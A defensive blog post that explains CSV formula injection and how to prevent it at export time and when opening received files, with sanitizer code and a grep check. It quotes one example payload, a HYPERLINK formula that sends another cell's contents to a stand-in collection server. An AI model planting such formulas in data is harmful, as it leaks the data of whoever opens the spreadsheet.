CSV Injection Explained: How a Spreadsheet Cell Can Turn Into an Attack
CSV injection hides formulas in exported data. Learn how the attack works, which cells are risky, and how to export and open CSV files more safely.
A CSV file is plain text. Nothing in it can run, which is why people send them around without a second thought.
The catch is the program that opens it. Spreadsheet software looks at the text in each cell and decides what to do with it, and if a cell begins with an equals sign, Excel, Google Sheets and LibreOffice all read what follows as a formula. That’s useful when you typed it yourself. It’s a problem when the text came from a stranger.
Think about a signup form, a support inbox or a product review box. Whatever people type ends up in a database, and someone eventually clicks “Export to CSV”. If one of those people typed a formula where their name should be, the file now carries it into the spreadsheet of whoever opens the export. This is called CSV injection, or formula injection, and it has been around long enough that security testing guides have a standard checklist for it.
This post explains how it works, which cells are dangerous, why ordinary data sometimes looks suspicious, and what to do on both sides: when you create CSV files and when you receive them.
What CSV injection is, and what it isn’t
The attack doesn’t break into your website or your database. Your server did what it was supposed to do, which was write the text it was given into a file.
The target is the person who opens that file. Usually that’s someone with access you’d like to protect: an admin, a support agent, an accountant who downloads the monthly export. The attacker only needs their own text to survive the trip into a spreadsheet cell.
It also isn’t limited to Excel. Any program that evaluates formulas when it loads a CSV can be affected, and the details differ between them. Some show a warning, some don’t, and some features are available in one program and missing in another. That unevenness is part of why the problem has stuck around: the file is the same everywhere, but the consequences change with the software on the other end.
How the attack works
Here is the simplest version, step by step.
Say a contact form collects a name and a message. Instead of a name, someone types this:
=HYPERLINK("https://example.com/collect?d="&B2,"Open the report")
The site stores it like any other text. A week later, a staff member exports all submissions to CSV and opens the file. In the name column they see a link that says “Open the report”. The formula builds a web address that includes the contents of another cell, here B2, and if the person clicks the link, that text travels in the address to a server the attacker controls.
That one is mostly social engineering, but it shows the idea: the attacker’s text is acting on the victim’s data inside the victim’s spreadsheet.
There are nastier variations. Some spreadsheet features can reach outside the file, such as functions that fetch content from a web address. Google Sheets has a handful of those, and so does Excel on some platforms. Older features such as Dynamic Data Exchange (DDE) have been used in the past to try to launch programs on the computer that opens the file. How much any of this works today depends heavily on the software version and its settings, and the security guidance I’ve read describes it as highly environment-dependent. Modern Office versions put prompts in front of the riskier behavior, so the realistic worst case in many offices is a tricked click, not silent code execution.
I’d still take it seriously. “The user would have to click OK” isn’t much comfort when the user is a busy person opening their fortieth export of the month.
Which cells are dangerous
The trigger is the first character of the cell. The characters that start a formula in most spreadsheet programs are:
=equals+plus-minus@at sign
Security guidance also lists the tab character and the carriage return as starters, so those need checking too. A few locales have full-width versions of these characters as well, which some programs accept. If you handle data from Japanese or other East Asian sources, that’s worth a thought.
One point trips people up: quotation marks don’t help. In CSV, double quotes are part of the file format. They tell the reader where a field starts and ends, and they’re removed before the cell value is stored. So "=1+1" in a file and =1+1 in a file end up as exactly the same cell. Wrapping dangerous text in quotes feels like a fix and does nothing.
Why ordinary data sets off the same alarm
If you decide to protect every cell that starts with one of those characters, you’ll catch real data along with the attacks, and it helps to know what to expect.
- Phone numbers written with a country code start with a plus:
+91 98765 43210. - Negative numbers start with a minus:
-250.00. - Some text uses a leading dash as a bullet, or “-” alone to mean “none”.
- Social media handles start with
@. - Mathematical or scientific labels sometimes begin with
=or+.
You can’t tell from the first character alone whether -250.00 is a number or a bad guess at a formula. A simple rule that prefixes every leading minus would turn all your negative amounts into text, and your finance team would have a long week.
The sensible approach is to be selective by column type. Numbers and dates that your own code produced shouldn’t go through the text sanitizer at all, because they come from you and not from a user. Free-text columns, such as names, comments, addresses, notes, company names and anything typed by a customer, are the ones to protect. For a phone column, it’s usually better to store and export the number as text with the plus sign and accept the prefix there too, because a phone number is an identifier, not something you’d ever add up.
How to prevent it when you create CSV files
The rule that matters most is where you fix it. Do it when you write the CSV, not when you save the data. Your database should keep exactly what the user typed, because you may need it for other purposes and because rewriting stored data causes its own bugs. The export is the point where text is about to be handed to a spreadsheet, so that’s where you neutralize it.
The commonly recommended fix is to prefix risky cells with a single quote. In spreadsheet programs a leading apostrophe is the traditional way to say “treat this cell as text”, so '=1+1 is displayed as text instead of calculated.
Here’s what that looks like in Python:
import csv
RISKY_START = ("=", "+", "-", "@", "\t", "\r")
def safe_cell(value):
# Only text needs protecting. Numbers from your own code are fine.
if isinstance(value, str) and value.startswith(RISKY_START):
return "'" + value
return value
rows = [
["name", "message"],
[safe_cell("Priya"), safe_cell('=HYPERLINK("https://example.com")')],
]
with open("export.csv", "w", newline="", encoding="utf-8") as f:
csv.writer(f).writerows(rows)
And the same idea in JavaScript:
const risky = /^[=+\-@\t\r]/;
function safeCell(value) {
return typeof value === "string" && risky.test(value)
? "'" + value
: value;
}
A few details matter:
Check for the invisible starters, too. A tab or a carriage return at the start of a cell is on the risky list just like the four visible characters, which is why the code above includes them.
Only protect strings. If a column holds numbers your code generated, leave them alone. Prefixing a quote to every negative number damages data for no security gain.
Don’t strip characters instead. Deleting the equals sign from a customer’s text changes their data and can still leave other dangerous characters behind. Prefixing keeps the original text intact.
There’s an honest caveat. The OWASP guidance on this topic notes that Excel can remove quotes or escape characters when a file is saved and reopened, so a cell that was neutralized in the file you sent may become live again after someone edits and re-saves it. For files meant to be read by people in Excel, OWASP describes a stronger option, which is a tab character placed in front of the risky value inside the quoted field. The downside is that the tab becomes part of the data, which can confuse programs that later import the file. So the trade-off is real: the apostrophe is cleaner but less durable in Excel, and the tab is sturdier but leaves residue.
My advice would be to pick the apostrophe by default, apply it only to text columns, and add a note in your documentation that the file is meant to be opened for reading and not saved over. If the export is only ever consumed by code, such as an import into another system, skip the prefix and tell the receiving side to treat everything as plain text. A prefix in a machine-readable file corrupts the values.
If you receive a CSV from someone else
You can’t control how other people build their files, so the safest habits are on the opening side.
Don’t double-click files you didn’t expect. Double-clicking hands the file to your default spreadsheet program with its default behavior, which is to guess types and evaluate formulas. If the file came from an unfamiliar sender or an export that includes outside input, treat it with the same caution you’d give any attachment.
Look at the raw text first. Any plain text editor shows exactly what’s in each cell without calculating anything. Scan the first column or two, and use the search function to look for =, +, - and @ at the start of a field. A browser-based viewer works too, as long as it shows cell contents as text. Our CSV viewer runs entirely in your browser and displays values as text, so a formula is shown as characters and not executed.
Import instead of opening. In Excel, use Data, then From Text/CSV, and set the data type detection option to “Do not detect data types” so values stay as text. In Google Sheets, use File, then Import, and untick the option that converts text to numbers, dates and formulas. Both routes take an extra minute and give you control over what gets evaluated.
Respect the warnings. If Excel asks whether you want to enable links, update links or start another application, the answer for an unexpected file is no. Protected View exists for a reason, so don’t click Enable Editing until you’ve looked at what’s in the file.
Be careful with Google Sheets. Sheets can evaluate functions that fetch data from web addresses. If you upload an untrusted CSV there, that’s a path where text can reach out of the document.
Checking a file before you share or import it
If you’re on the sending side, or you’re about to import someone else’s file into another system, it’s worth scanning for risky cells.
A quick command-line check on a Mac or Linux machine looks for any field that begins with one of the trigger characters:
grep -nE '(^|,)"?[=+@-]' export.csv
It’s rough. It will also match legitimate negative numbers and phone numbers, so expect some noise, but it points you at the lines worth reading.
For a friendlier way, drop the file into the CSV validator. One of its checks lists cells that start like formulas, with the line number and the field, next to its other findings such as ragged rows and bad quoting. It’s an information-level note and not an error, because plenty of files contain these characters innocently, but it means you see them before anyone double-clicks.
If you want to go deeper on file structure, our post on fixing comma and newline errors in CSV fields covers how quoting works, which matters here because a missing quote can push an attacker’s text to the start of a cell where it wouldn’t have been otherwise. Security testing guides call that kind of trick a cell breakout: a value containing a quote and a delimiter can create a brand new cell that begins with a formula.
A few myths worth dropping
“Quotes escape it.” Covered above. They don’t.
“It only affects Excel.” Other programs have their own formula engines and their own risky functions. The details differ, the principle doesn’t.
“Nobody would bother.” Attackers care about what you export. If your product has a form that feeds an admin export, you’re a plausible target, because the cost of trying is a single form submission.
“The spreadsheet vendor will fix it.” Vendors generally treat evaluating formulas as the intended behavior of a spreadsheet. The guidance from security projects puts the responsibility on the application that generates the file, which is why the fix belongs in your export code.
A short checklist
For files you generate:
- Protect text columns at export time, not in the database.
- Prefix cells that start with
=,+,-,@, tab or carriage return. - Leave real numbers and dates alone.
- Decide whether the apostrophe or the tab prefix fits who will open the file.
- Test the export by opening it in the spreadsheet your users actually use.
For files you receive:
- Read the raw text before opening it in a spreadsheet.
- Import with the columns set to text where you can.
- Say no to prompts you didn’t expect.
- Scan for risky cells with a validator or a search.
The short version
A formula in a CSV cell isn’t dangerous because of the file. It’s dangerous because the program opening the file believes what it reads. If you produce CSV exports from anything people can type into, add a prefix to risky text cells at export time. If you receive them, look at the text first. Neither takes long, and both stop the kind of problem that gets noticed only after someone has already clicked.
Frequently asked questions
What is CSV injection?
CSV injection, also called formula injection, happens when untrusted text ends up in a CSV file and a spreadsheet program later treats it as a formula. A cell that starts with =, +, - or @ can be calculated instead of shown as text, and a crafted formula can display misleading content or send data to another server.
Is CSV injection a real risk or just a theory?
It is real, but it depends on a person opening the file and, in most modern setups, ignoring a warning or running into a spreadsheet function that works silently. The risk is highest for exports that contain text typed by outsiders, such as form submissions, support tickets and customer names, and that staff open in Excel or Google Sheets.
Does wrapping a cell in double quotes stop a formula from running?
No. Double quotes are part of CSV syntax and are removed before the spreadsheet sees the value, so a quoted =1+1 is still read as a formula. Protection has to change the value itself, for example by adding a prefix so it is read as text.
How do I stop CSV injection when I export data?
At export time, check every text cell. If it starts with =, +, -, @, a tab or a carriage return, add a prefix such as a single quote so spreadsheet programs read it as text. Do not change the data stored in your database, and be aware that the prefix may show up in the cell and that Excel can drop it when a file is saved and reopened.
How can I check a CSV file I received without opening it in Excel?
Open it in a plain text editor, or use a browser-based viewer or validator that shows the raw text of each cell. Look for cells that begin with =, +, - or @. The CSV Validator on this site flags them without running anything.